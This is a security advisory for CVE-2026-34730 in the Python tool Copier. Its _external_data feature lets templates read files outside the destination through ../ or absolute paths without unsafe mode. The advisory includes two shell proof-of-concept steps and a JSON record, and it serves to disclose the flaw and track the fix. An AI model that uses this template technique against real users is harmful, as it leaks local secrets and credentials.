GHSA-HGJQ-P8CR-GG4H

Vulnerability from github – Published: 2026-04-01 22:38 – Updated: 2026-04-06 17:32
VLAI
Summary
Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode
Details

Summary

Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.

However, the current implementation also allows destination-external reads, including:

  • Parent-directory paths such as ../secret.yml
  • Absolute paths such as /tmp/secret.yml

and then exposes the parsed contents in rendered output.

This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.

Details

The relevant flow is:

  1. A template defines _external_data
  2. Copier renders the configured path string
  3. Copier calls load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)
  4. load_answersfile_data() opens Path(dst_path, answers_file) directly
  5. Parsed YAML becomes available as _external_data.<name> during rendering

Relevant code:

The sink is:

with Path(dst_path, answers_file).open("rb") as fd:
    return yaml.safe_load(fd)

There is no containment check to ensure the resulting path stays inside the subproject destination.

This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332. _external_data does not apply an equivalent containment check.

The public documentation describes _external_data values as relative paths "from the subproject destination" in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005, with examples using .copier-answers.yml and .secrets.yaml. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with ../... or read arbitrary absolute paths. Because this behavior also works without --UNSAFE, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.

PoC

PoC 1: _external_data reads outside the destination with ../

mkdir src dst
echo 'token: topsecret' > secret.yml

printf '%s\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > src/leak.txt.jinja

copier copy --overwrite src dst
cat dst/leak.txt

Expected output:

topsecret

PoC 2: _external_data reads an absolute path

mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml

printf '%s\n' '_external_data:' "  secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > abs-src/leak.txt.jinja

copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt

Expected output:

abssecret

Impact

If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.

Practical impact:

  • Destination-external local file read
  • Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under yaml.safe_load
  • Possible without --UNSAFE
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.14.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:38:39Z",
    "nvd_published_at": "2026-04-02T19:21:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCopier\u0027s `_external_data` feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.\n\nHowever, the current implementation also allows destination-external reads, including:\n\n- Parent-directory paths such as `../secret.yml`\n- Absolute paths such as `/tmp/secret.yml`\n\nand then exposes the parsed contents in rendered output.\n\nThis is possible without `--UNSAFE`, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.\n\n### Details\n\nThe relevant flow is:\n\n1. A template defines `_external_data`\n2. Copier renders the configured path string\n3. Copier calls `load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)`\n4. `load_answersfile_data()` opens `Path(dst_path, answers_file)` directly\n5. Parsed YAML becomes available as `_external_data.\u003cname\u003e` during rendering\n\nRelevant code:\n\n- \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_main.py#L329-L332\u003e\n- \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/copier/_user_data.py#L584-L592\u003e\n\nThe sink is:\n\n```python\nwith Path(dst_path, answers_file).open(\"rb\") as fd:\n    return yaml.safe_load(fd)\n```\n\nThere is no containment check to ensure the resulting path stays inside the subproject destination.\n\nThis is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise `ForbiddenPathError`, and that behavior is explicitly covered by existing tests in \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332\u003e. `_external_data` does not apply an equivalent containment check.\n\nThe public documentation describes `_external_data` values as relative paths \"from the subproject destination\" in \u003chttps://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005\u003e, with examples using `.copier-answers.yml` and `.secrets.yaml`. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with `../...` or read arbitrary absolute paths. Because this behavior also works without `--UNSAFE`, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.\n\n### PoC\n\n#### PoC 1: `_external_data` reads outside the destination with `../`\n\n```sh\nmkdir src dst\necho \u0027token: topsecret\u0027 \u003e secret.yml\n\nprintf \u0027%s\\n\u0027 \u0027_external_data:\u0027 \u0027  secret: ../secret.yml\u0027 \u003e src/copier.yml\nprintf \u0027%s\\n\u0027 \u0027{{ _external_data.secret.token }}\u0027 \u003e src/leak.txt.jinja\n\ncopier copy --overwrite src dst\ncat dst/leak.txt\n```\n\nExpected output:\n\n```text\ntopsecret\n```\n\n#### PoC 2: `_external_data` reads an absolute path\n\n```sh\nmkdir abs-src abs-dst\necho \u0027token: abssecret\u0027 \u003e absolute-secret.yml\n\nprintf \u0027%s\\n\u0027 \u0027_external_data:\u0027 \"  secret: $(pwd)/absolute-secret.yml\" \u003e abs-src/copier.yml\nprintf \u0027%s\\n\u0027 \u0027{{ _external_data.secret.token }}\u0027 \u003e abs-src/leak.txt.jinja\n\ncopier copy --overwrite abs-src abs-dst\ncat abs-dst/leak.txt\n```\n\nExpected output:\n\n```text\nabssecret\n```\n\n### Impact\n\nIf untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.\n\nPractical impact:\n\n- Destination-external local file read\n- Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under `yaml.safe_load`\n- Possible without `--UNSAFE`",
  "id": "GHSA-hgjq-p8cr-gg4h",
  "modified": "2026-04-06T17:32:36Z",
  "published": "2026-04-01T22:38:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-hgjq-p8cr-gg4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/5413062eb17b73dc885f5e645cdc161e69ef641b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/releases/tag/v9.14.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Copier `_external_data` allows path traversal and absolute-path local file read without unsafe mode"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…